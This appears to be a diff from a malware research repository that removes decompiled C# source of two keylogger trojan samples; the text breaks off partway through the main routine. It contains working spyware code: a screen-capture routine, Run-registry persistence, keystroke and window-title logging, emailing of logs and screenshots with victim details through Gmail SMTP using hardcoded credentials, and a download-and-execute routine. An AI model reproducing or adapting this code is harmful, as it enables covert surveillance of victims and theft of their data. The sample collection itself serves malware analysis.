yFFsuUtUnVajYf = 60000, // 0x0000EA60
jywVHvnnScKxxf = 3600000, // 0x0036EE80
}
}

18
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyApplication.cs
View File

@ -1,18 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyApplication : ApplicationBase
{
}
}

24
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyComputer.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}

108
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyProject.cs
View File

@ -1,108 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[HideModuleName]
[StandardModule]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[ComVisible(false)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}

81
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/SRBxUiHKAFOgn.cs
View File

@ -1,81 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: SRBxUiHKAFOgn
// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
[StandardModule]
internal sealed class SRBxUiHKAFOgn
{
public static Bitmap EJfUQWzljbDzy = (Bitmap) null;
public static byte[] OOGbrbGRQDWAz;
private const int oiKidybzISTBB = 13369376;
private static int RbYUdSxEwoFnG;
private static int mtfegxEDtLPfn;
[DllImport("gdi32", EntryPoint = "CreateDCA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int YtuVfATsAsjrb(
[MarshalAs(UnmanagedType.VBByRefStr)] ref string kUzCHtlxTfCvh,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string CLCmkGtuLdzJd,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string lhmBODnkAYkRe,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string AbRpaYtNCZSVx);
[DllImport("GDI32", EntryPoint = "CreateCompatibleDC", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int DxnDFIciPiwjY(int lPEhsbbzNlzBj);
[DllImport("GDI32", EntryPoint = "CreateCompatibleBitmap", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int gdOWCnTkayFnn(int lPEhsbbzNlzBj, int lrBYhnlDKZsun, int ipQDPJrdYNJaY);
[DllImport("gdi32", EntryPoint = "GetDeviceCaps", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int OCQWxmFXUBoZV(int lPEhsbbzNlzBj, int xBcLTxQHPWwOZ);
[DllImport("GDI32", EntryPoint = "SelectObject", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int knXWnaRfWHrRb(int lPEhsbbzNlzBj, int WfOkIDlgiFzTf);
[DllImport("GDI32", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int cZkdyjVeCadUa(
int IQfuPopeadmOH,
int nkHNnaJaoUdDm,
int uKFzpLIZFdZDi,
int yyfdtYQjYwnyE,
int TXmfNknCbJidG,
int ydrfcKYZGIHBg,
int jYVVKluQyhlXS,
int syzJBImgfHJpL,
int ogmjZPOSklSDF);
[DllImport("GDI32", EntryPoint = "DeleteDC", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int SKQxIudJtxeLm(int lPEhsbbzNlzBj);
[DllImport("GDI32", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int KbcGJTzyRbzIY(int ELtjPHDItPXBI);
public static void JDZnglJSpvkpO()
{
string str1 = "DISPLAY";
ref string local1 = ref str1;
string str2 = "";
ref string local2 = ref str2;
string str3 = "";
ref string local3 = ref str3;
string str4 = "";
ref string local4 = ref str4;
int num1 = SRBxUiHKAFOgn.YtuVfATsAsjrb(ref local1, ref local2, ref local3, ref local4);
int num2 = SRBxUiHKAFOgn.DxnDFIciPiwjY(num1);
SRBxUiHKAFOgn.RbYUdSxEwoFnG = SRBxUiHKAFOgn.OCQWxmFXUBoZV(num1, 8);
SRBxUiHKAFOgn.mtfegxEDtLPfn = SRBxUiHKAFOgn.OCQWxmFXUBoZV(num1, 10);
int WfOkIDlgiFzTf1 = SRBxUiHKAFOgn.gdOWCnTkayFnn(num1, SRBxUiHKAFOgn.RbYUdSxEwoFnG, SRBxUiHKAFOgn.mtfegxEDtLPfn);
int WfOkIDlgiFzTf2 = SRBxUiHKAFOgn.knXWnaRfWHrRb(num2, WfOkIDlgiFzTf1);
int num3 = SRBxUiHKAFOgn.cZkdyjVeCadUa(num2, 0, 0, SRBxUiHKAFOgn.RbYUdSxEwoFnG, SRBxUiHKAFOgn.mtfegxEDtLPfn, num1, 0, 0, 13369376);
int ELtjPHDItPXBI = SRBxUiHKAFOgn.knXWnaRfWHrRb(num2, WfOkIDlgiFzTf2);
num3 = SRBxUiHKAFOgn.SKQxIudJtxeLm(num1);
num3 = SRBxUiHKAFOgn.SKQxIudJtxeLm(num2);
SRBxUiHKAFOgn.EJfUQWzljbDzy = Image.FromHbitmap(new IntPtr(ELtjPHDItPXBI));
SRBxUiHKAFOgn.KbcGJTzyRbzIY(ELtjPHDItPXBI);
}
}

47
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/Trojan-Spy.MSIL.KeyLogger.aqg.csproj
View File

@ -1,47 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>dfasdfasdfa</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="LEThjJwJF.cs" />
<Compile Include="GUlBzjdJZuXUZ.cs" />
<Compile Include="SRBxUiHKAFOgn.cs" />
<Compile Include="My\MyApplication.cs" />
<Compile Include="My\MyComputer.cs" />
<Compile Include="My\MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>

20
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/Trojan-Spy.MSIL.KeyLogger.aqg.sln
View File

@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "dfasdfasdfa", "Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.csproj", "{4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4C18C0BC-79DE-4D80-B6C9-A4A069ABE64D}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

3
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/AssemblyInfo.cs
View File

@ -1,3 +0,0 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]

699
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded/LEThjJwJF.cs
View File

@ -1,699 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: LEThjJwJF
// Assembly: torrent seeding, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 198D2D35-528E-4E59-8C51-F602B2216010
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aww-b6028ae8a60c144786a34898929ec8bbcd3b3a28f9ca522a06487a921e0c2ded.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using My;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
[StandardModule]
internal sealed class LEThjJwJF
{
public static Mutex LBfEuNPwTuuGhr;
public static string jxjVBchppIcvKk = "KrvSGxBAr";
[AccessedThroughProperty("IsaTynXgGxhXII")]
private static jBcGFYzTOTtD _IsaTynXgGxhXII;
public static string vyRLXDeEXvPQWn;
public static string zcgrfBtxzmomgI;
public static string EoCOQxuJnJYDws;
public static string tukiwEOEDyaPnz;
public static Thread oLCEyJcnQskyYp;
public static string CybgAJgPgyekGj;
public static Process dmflrmsAYJCk;
[AccessedThroughProperty("EyIcVuCUlomd")]
private static System.Windows.Forms.Timer _EyIcVuCUlomd;
private const int ttGxniuprKER = 7;
private const int dnJJcXJyIKwv = 1;
private const int chNGLvHhzbVi = 0;
public static string yULbvlLsrZrn;
public static string HJFsnADcnlfF;
public static string lBWTnexoOosx;
public static int EEUyKgrhVkOz;
public static int sAocURHikwJC;
public static LEThjJwJF.eGKfVnKcdYRn jdVavzkBTWiZ;
public static string zkssvUfPYYyr;
public static bool UjSkGpjtQnYe;
public static bool cFgPcDbDdHZd;
public static bool ofcThDZWxwfp;
public static string NCfFJcIQQiBa;
public static string OJtpurEVdlZm;
public static string dStiBDFNfOUB;
public static string vrApfUzWXEVJ;
public static int cJTbrezvzIab;
public static bool oBhrFKfGANgn;
static LEThjJwJF()
{
LEThjJwJF.IsaTynXgGxhXII = new jBcGFYzTOTtD();
LEThjJwJF.EoCOQxuJnJYDws = "VzWJrYnjU";
LEThjJwJF.tukiwEOEDyaPnz = "OghDDYNXd.exe";
LEThjJwJF.EyIcVuCUlomd = new System.Windows.Forms.Timer();
LEThjJwJF.yULbvlLsrZrn = "uyirvanilog@gmail.com";
LEThjJwJF.HJFsnADcnlfF = "passwordis1";
LEThjJwJF.lBWTnexoOosx = "smtp.gmail.com";
LEThjJwJF.EEUyKgrhVkOz = 587;
LEThjJwJF.sAocURHikwJC = 2;
LEThjJwJF.jdVavzkBTWiZ = (LEThjJwJF.eGKfVnKcdYRn) 0;
LEThjJwJF.zkssvUfPYYyr = "";
LEThjJwJF.UjSkGpjtQnYe = true;
LEThjJwJF.cFgPcDbDdHZd = false;
LEThjJwJF.ofcThDZWxwfp = false;
LEThjJwJF.NCfFJcIQQiBa = "";
LEThjJwJF.OJtpurEVdlZm = "";
LEThjJwJF.dStiBDFNfOUB = "Title";
LEThjJwJF.vrApfUzWXEVJ = "Message";
LEThjJwJF.cJTbrezvzIab = 0;
LEThjJwJF.oBhrFKfGANgn = false;
}
public static jBcGFYzTOTtD IsaTynXgGxhXII
{
get => LEThjJwJF._IsaTynXgGxhXII;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
jBcGFYzTOTtD.XUZJkEDoGvEtEventHandler gvEtEventHandler = new jBcGFYzTOTtD.XUZJkEDoGvEtEventHandler(LEThjJwJF.TbHptfJVlPGe);
if (LEThjJwJF._IsaTynXgGxhXII != null)
jBcGFYzTOTtD.XUZJkEDoGvEt -= gvEtEventHandler;
LEThjJwJF._IsaTynXgGxhXII = value;
if (LEThjJwJF._IsaTynXgGxhXII == null)
return;
jBcGFYzTOTtD.XUZJkEDoGvEt += gvEtEventHandler;
}
}
public static System.Windows.Forms.Timer EyIcVuCUlomd
{
get => LEThjJwJF._EyIcVuCUlomd;
[MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(LEThjJwJF.thTFrrRkvWHn);
if (LEThjJwJF._EyIcVuCUlomd != null)
LEThjJwJF._EyIcVuCUlomd.Tick -= eventHandler;
LEThjJwJF._EyIcVuCUlomd = value;
if (LEThjJwJF._EyIcVuCUlomd == null)
return;
LEThjJwJF._EyIcVuCUlomd.Tick += eventHandler;
}
}
[DllImport("kernel32.dll", EntryPoint = "GetConsoleWindow", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr NielECEcSDPK();
[DllImport("user32.dll", EntryPoint = "ShowWindow", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int NlQvLavEFEvQ(IntPtr dUmPZzjhoEdT, int zAmaPJUJpFsV);
[DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int IluatbVEQBdx();
[DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int chQoWBRXObLt(
int dUmPZzjhoEdT,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string JLQodkGrWJGk,
int BFPXAviVGLcw);
private static string ppQcuhISQaZx()
{
string JLQodkGrWJGk = new string(char.MinValue, 100);
LEThjJwJF.chQoWBRXObLt(LEThjJwJF.IluatbVEQBdx(), ref JLQodkGrWJGk, 100);
return JLQodkGrWJGk.Substring(0, checked (Strings.InStr(JLQodkGrWJGk, "\0") - 1));
}
public static void WkAggalwHDhL(string cFHbtclKjGoY, string VfCuNIYXTfSt)
{
RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
subKey.SetValue(cFHbtclKjGoY, (object) VfCuNIYXTfSt);
}
public static void OZdVSbQJDxak(string cFHbtclKjGoY)
{
RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
subKey.DeleteValue(cFHbtclKjGoY, false);
}
public static void voUusLQaNmwv(string hJZFauwoxaBA)
{
try
{
Mutex.OpenExisting(hJZFauwoxaBA);
ProjectData.EndApp();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
LEThjJwJF.LBfEuNPwTuuGhr = new Mutex(false, hJZFauwoxaBA);
ProjectData.ClearProjectError();
}
}
public static string RsszTlWvTrEs(int BCNDcFNgpLwl, int LuuhcRjjFjxc)
{
Random random = new Random();
string str1 = (string) null;
string str2 = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM";
int num1 = random.Next(checked (BCNDcFNgpLwl + 1), LuuhcRjjFjxc);
int num2 = 1;
while (num2 <= num1)
{
int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f)));
str1 += Conversions.ToString(str2[index]);
checked { ++num2; }
}
return str1;
}
private static void TbHptfJVlPGe(string GmsYXVOwOBwV)
{
if (Operators.CompareString(LEThjJwJF.zcgrfBtxzmomgI, LEThjJwJF.ppQcuhISQaZx(), false) != 0)
{
LEThjJwJF.vyRLXDeEXvPQWn = LEThjJwJF.vyRLXDeEXvPQWn + "\r\n[TITLE: " + LEThjJwJF.ppQcuhISQaZx() + "]:\r\n";
LEThjJwJF.zcgrfBtxzmomgI = LEThjJwJF.ppQcuhISQaZx();
Console.WriteLine("\r\n[TITLE: " + LEThjJwJF.ppQcuhISQaZx() + "]:");
}
LEThjJwJF.vyRLXDeEXvPQWn += GmsYXVOwOBwV;
Console.Write(GmsYXVOwOBwV);
}
private static void thTFrrRkvWHn(object ktcTJTOFvGKL, EventArgs HaJtfVFdafCg)
{
Console.WriteLine("A new log is sending...");
new Thread((ParameterizedThreadStart) (a0 => LEThjJwJF.zsTIotIDIvaQ(Conversions.ToString(a0))))
{
IsBackground = true
}.Start((object) LEThjJwJF.vyRLXDeEXvPQWn);
LEThjJwJF.vyRLXDeEXvPQWn = "";
}
private static void zsTIotIDIvaQ(string BJxmEPeOZluv)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
string str = Path.GetTempPath() + "\\" + LEThjJwJF.RsszTlWvTrEs(5, 10) + ".png";
label_2:
num3 = 3;
if (!LEThjJwJF.UjSkGpjtQnYe)
goto label_7;
label_3:
num3 = 4;
sfNwkKhkokmC.HrRbWfO();
label_4:
num3 = 5;
if (!System.IO.File.Exists(str))
goto label_6;
label_5:
num3 = 6;
System.IO.File.Delete(str);
label_6:
num3 = 8;
sfNwkKhkokmC.OCQWxmF.Save(str, ImageFormat.Png);
label_7:
num3 = 10;
MailMessage message = new MailMessage();
label_8:
num3 = 11;
SmtpClient smtpClient1 = new SmtpClient(LEThjJwJF.lBWTnexoOosx);
label_9:
num3 = 12;
SmtpClient smtpClient2 = smtpClient1;
label_10:
num3 = 13;
smtpClient2.EnableSsl = true;
label_11:
num3 = 14;
smtpClient2.Credentials = (ICredentialsByHost) new NetworkCredential(LEThjJwJF.yULbvlLsrZrn, LEThjJwJF.HJFsnADcnlfF);
label_12:
num3 = 15;
smtpClient2.Port = LEThjJwJF.EEUyKgrhVkOz;
label_13:
smtpClient2 = (SmtpClient) null;
label_14:
num3 = 17;
MailMessage mailMessage = message;
label_15:
num3 = 18;
mailMessage.To.Add(LEThjJwJF.yULbvlLsrZrn);
label_16:
num3 = 19;
mailMessage.From = new MailAddress(LEThjJwJF.yULbvlLsrZrn);
label_17:
num3 = 20;
mailMessage.Subject = LEThjJwJF.zkssvUfPYYyr;
label_18:
num3 = 21;
mailMessage.Body = BJxmEPeOZluv;
label_19:
num3 = 22;
if (!LEThjJwJF.UjSkGpjtQnYe)
goto label_21;
label_20:
num3 = 23;
mailMessage.Attachments.Add(new Attachment(str));
label_21:
num3 = 25;
if (!LEThjJwJF.ofcThDZWxwfp)
goto label_23;
label_22:
num3 = 26;
mailMessage.Body = "Victim Username: " + LEThjJwJF.INjfAiTYULSy().ToString() + "\r\n" + mailMessage.Body;
label_23:
num3 = 28;
if (!LEThjJwJF.cFgPcDbDdHZd)
goto label_25;
label_24:
num3 = 29;
mailMessage.Body = "Victim Computer Name: " + MyProject.Computer.Name + "\r\n" + mailMessage.Body;
label_25:
mailMessage = (MailMessage) null;
label_26:
num3 = 32;
smtpClient1.Send(message);
label_27:
num3 = 33;
Console.WriteLine("##### Logs have been sent! #####");
goto label_34;
label_29:
num2 = num3;
switch (num1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
case 8:
goto label_6;
case 9:
case 10:
goto label_7;
case 11:
goto label_8;
case 12:
goto label_9;
case 13:
goto label_10;
case 14:
goto label_11;
case 15:
goto label_12;
case 16:
goto label_13;
case 17:
goto label_14;
case 18:
goto label_15;
case 19:
goto label_16;
case 20:
goto label_17;
case 21:
goto label_18;
case 22:
goto label_19;
case 23:
goto label_20;
case 24:
case 25:
goto label_21;
case 26:
goto label_22;
case 27:
case 28:
goto label_23;
case 29:
goto label_24;
case 30:
case 31:
goto label_25;
case 32:
goto label_26;
case 33:
goto label_27;
case 34:
goto label_34;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_29;
}
throw ProjectData.CreateProjectError(-2146828237);
label_34:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private static void NBAWOnoIUSzr()
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
WebClient webClient = new WebClient();
label_2:
num3 = 3;
Uri address = new Uri(LEThjJwJF.NCfFJcIQQiBa);
label_3:
num3 = 4;
LEThjJwJF.CybgAJgPgyekGj = Path.GetTempPath() + "\\" + LEThjJwJF.RsszTlWvTrEs(5, 10) + ".exe";
label_4:
num3 = 5;
webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(LEThjJwJF.YPuOHJbyQTtv);
label_5:
num3 = 6;
webClient.DownloadFileAsync(address, LEThjJwJF.CybgAJgPgyekGj);
goto label_12;
label_7:
num2 = num3;
switch (num1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_12;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_7;
}
throw ProjectData.CreateProjectError(-2146828237);
label_12:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private static void YPuOHJbyQTtv(object ktcTJTOFvGKL, AsyncCompletedEventArgs HaJtfVFdafCg)
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
Process process = new Process();
label_2:
num3 = 3;
ProcessStartInfo processStartInfo = process.StartInfo;
label_3:
num3 = 4;
processStartInfo.FileName = LEThjJwJF.CybgAJgPgyekGj;
label_4:
num3 = 5;
processStartInfo.UseShellExecute = true;
label_5:
processStartInfo = (ProcessStartInfo) null;
label_6:
num3 = 7;
process.Start();
goto label_13;
label_8:
num2 = num3;
switch (num1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
goto label_13;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_8;
}
throw ProjectData.CreateProjectError(-2146828237);
label_13:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private static string INjfAiTYULSy()
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
string str = folderPath.Remove(folderPath.LastIndexOf("\\"));
return str.Substring(checked (str.LastIndexOf("\\") + 1));
}
[STAThread]
public static void Main()
{
label_0:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 1;
label_1:
int num3 = 2;
LEThjJwJF.voUusLQaNmwv(LEThjJwJF.jxjVBchppIcvKk);
label_2:
num3 = 3;
